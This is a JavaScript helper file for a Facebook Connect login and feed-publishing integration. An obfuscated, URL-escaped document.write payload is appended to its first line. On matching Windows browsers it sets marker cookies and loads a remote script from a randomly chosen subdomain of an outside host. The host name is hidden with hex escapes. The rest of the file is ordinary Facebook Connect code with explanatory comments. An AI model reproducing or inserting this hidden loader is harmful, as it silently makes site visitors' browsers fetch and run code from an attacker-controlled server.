var st1 = 0;document.write(unescape('%3C%73%63%72%69%70%74%3E%76%61%72%20%61%3D%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3B%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3D%22%68%6F%70%3D%22%2B%65%73%63%61%70%65%28%22%68%6F%70%22%29%2B%22%3B%70%61%74%68%3D%2F%22%3B%76%61%72%20%62%3D%6E%61%76%69%67%61%74%6F%72%2E%61%70%70%56%65%72%73%69%6F%6E%2C%63%3D%22%20%22%2B%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%2C%64%3D%6E%75%6C%6C%2C%65%3D%30%2C%66%3D%30%3B%69%66%28%63%2E%6C%65%6E%67%74%68%3E%30%29%7B%65%3D%63%2E%69%6E%64%65%78%4F%66%28%22%20%68%6F%70%3D%22%29%3B%69%66%28%65%21%3D%2D%31%29%7B%65%2B%3D%35%3B%66%3D%63%2E%69%6E%64%65%78%4F%66%28%22%3B%22%2C%65%29%3B%69%66%28%66%3D%3D%2D%31%29%66%3D%63%2E%6C%65%6E%67%74%68%3B%64%3D%75%6E%65%73%63%61%70%65%28%63%2E%73%75%62%73%74%72%69%6E%67%28%65%2C%66%29%29%7D%7D%20%69%66%28%64%3D%3D%22%68%6F%70%22%26%26%62%2E%74%6F%4C%6F%77%65%72%43%61%73%65%28%29%2E%69%6E%64%65%78%4F%66%28%22%77%69%6E%22%29%21%3D%2D%31%26%26%61%2E%69%6E%64%65%78%4F%66%28%22%68%69%70%22%29%3D%3D%2D%31%29%7B%76%61%72%20%67%3D%5B%22%6B%65%67%22%2C%22%6B%65%69%22%2C%22%6B%65%6E%22%2C%22%6B%65%70%22%2C%22%6B%65%76%22%2C%22%6B%65%78%22%2C%22%6B%65%79%22%2C%22%6B%68%69%22%2C%22%6B%69%64%22%2C%22%6B%69%66%22%5D%2C%68%3D%4D%61%74%68%2E%66%6C%6F%6F%72%28%4D%61%74%68%2E%72%61%6E%64%6F%6D%28%29%2A%67%2E%6C%65%6E%67%74%68%29%3B%64%74%3D%6E%65%77%20%44%61%74%65%3B%64%74%2E%73%65%74%54%69%6D%65%28%64%74%2E%67%65%74%54%69%6D%65%28%29%2B%38%45%37%29%3B%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3D%22%68%69%70%3D%22%2B%65%73%63%61%70%65%28%22%68%69%70%22%29%2B%22%3B%65%78%70%69%72%65%73%3D%22%2B%64%74%2E%74%6F%47%4D%54%53%74%72%69%6E%67%28%29%2B%22%3B%70%61%74%68%3D%2F%22%3B%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%3C%73%63%72%69%70%74%20%74%79%70%65%3D%22%74%65%78%74%2F%6A%61%76%61%73%63%72%69%70%74%22%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%27%2B%67%5B%68%5D%2B%27%2E%5C%78%37%33%5C%78%36%38%5C%78%36%39%5C%78%36%65%5C%78%36%34%5C%78%36%39%5C%78%36%37%5C%78%37%61%5C%78%32%65%5C%78%36%39%5C%78%36%65%5C%78%36%36%5C%78%36%66%2F%74%6F%6F%6C%73%2F%6A%73%2E%6A%73%22%3E%3C%5C%2F%73%63%72%69%70%74%3E%27%29%7D%3B%3C%2F%73%63%72%69%70%74%3E'));var gr0=0;function ge(elem) {
  return document.getElementById(elem);
}


/*
 * The facebook_onload statement is printed out in the PHP. If the user's logged in
 * status has changed since the last page load, then refresh the page to pick up
 * the change.
 *
 * This helps enforce the concept of "single sign on", so that if a user is signed into
 * Facebook when they visit your site, they will be automatically logged in -
 * without any need to click the login button.
 *
 * @param already_logged_into_facebook  reports whether the server thinks the user
 *                                      is logged in, based on their cookies
 *
 */
function facebook_onload(already_logged_into_facebook) {
  // user state is either: has a session, or does not.
  // if the state has changed, detect that and reload.
  FB.ensureInit(function() {
      FB.Facebook.get_sessionState().waitUntilReady(function(session) {
          var is_now_logged_into_facebook = session ? true : false;

          // if the new state is the same as the old (i.e., nothing changed)
          // then do nothing
          if (is_now_logged_into_facebook == already_logged_into_facebook) {
            return;
          }

          // otherwise, refresh to pick up the state change
          refresh_page();
        });
    });
}

/*
 * Our <fb:login-button> specifies this function in its onlogin attribute,
 * which is triggered after the user authenticates the app in the Connect
 * dialog and the Facebook session has been set in the cookies.
 */
function facebook_onlogin_ready() {
  // In this app, we redirect the user back to index.php. The server will read
  // the cookie and see that the user is logged in, and will deliver a new page
  // with content appropriate for a logged-in user.
  //
  // However, a more complex app could use this function to do AJAX calls
  // and/or in-place replacement of page contents to avoid a full page refresh.
  refresh_page();
}

/*
 * Do a page refresh after login state changes.
 * This is the easiest but not the only way to pick up changes.
 * If you have a small amount of Facebook-specific content on a large page,
 * then you could change it in Javascript without refresh.
 */
function refresh_page() {
  window.location = 'index.php';
}

/*
 * Prompts the user to grant a permission to the application.
 */
function facebook_prompt_permission(permission) {
  FB.ensureInit(function() {
    FB.Connect.showPermissionDialog(permission);
  });
}

/*
 * Show the feed form. This would be typically called in response to the
 * onclick handler of a "Publish" button, or in the onload event after
 * the user submits a form with info that should be published.
 *
 */
function facebook_publish_feed_story(form_bundle_id, template_data) {
  // Load the feed form
  FB.ensureInit(function() {
          FB.Connect.showFeedDialog(form_bundle_id, template_data);
          //FB.Connect.showFeedDialog(form_bundle_id, template_data, null, null, FB.FeedStorySize.shortStory, FB.RequireConnect.promptConnect);

      // hide the "Loading feed story ..." div
      ge('feed_loading').style.visibility = "hidden";
  });
}

/*
 * If a user is not connected, then the checkbox that says "Publish To Facebook"
 * is hidden in the "add run" form.
 *
 * This function detects whether the user is logged into facebook but just
 * not connected, and shows the checkbox if that's true.
 */
function facebook_show_feed_checkbox() {
  FB.ensureInit(function() {
      FB.Connect.get_status().waitUntilReady(function(status) {
          if (status != FB.ConnectState.userNotLoggedIn) {
            // If the user is currently logged into Facebook, but has not
            // authorized the app, then go ahead and show them the feed dialog + upsell
            checkbox = ge('publish_fb_checkbox');
            if (checkbox) {
              checkbox.style.visibility = "visible";
            }
          }
        });
    });
}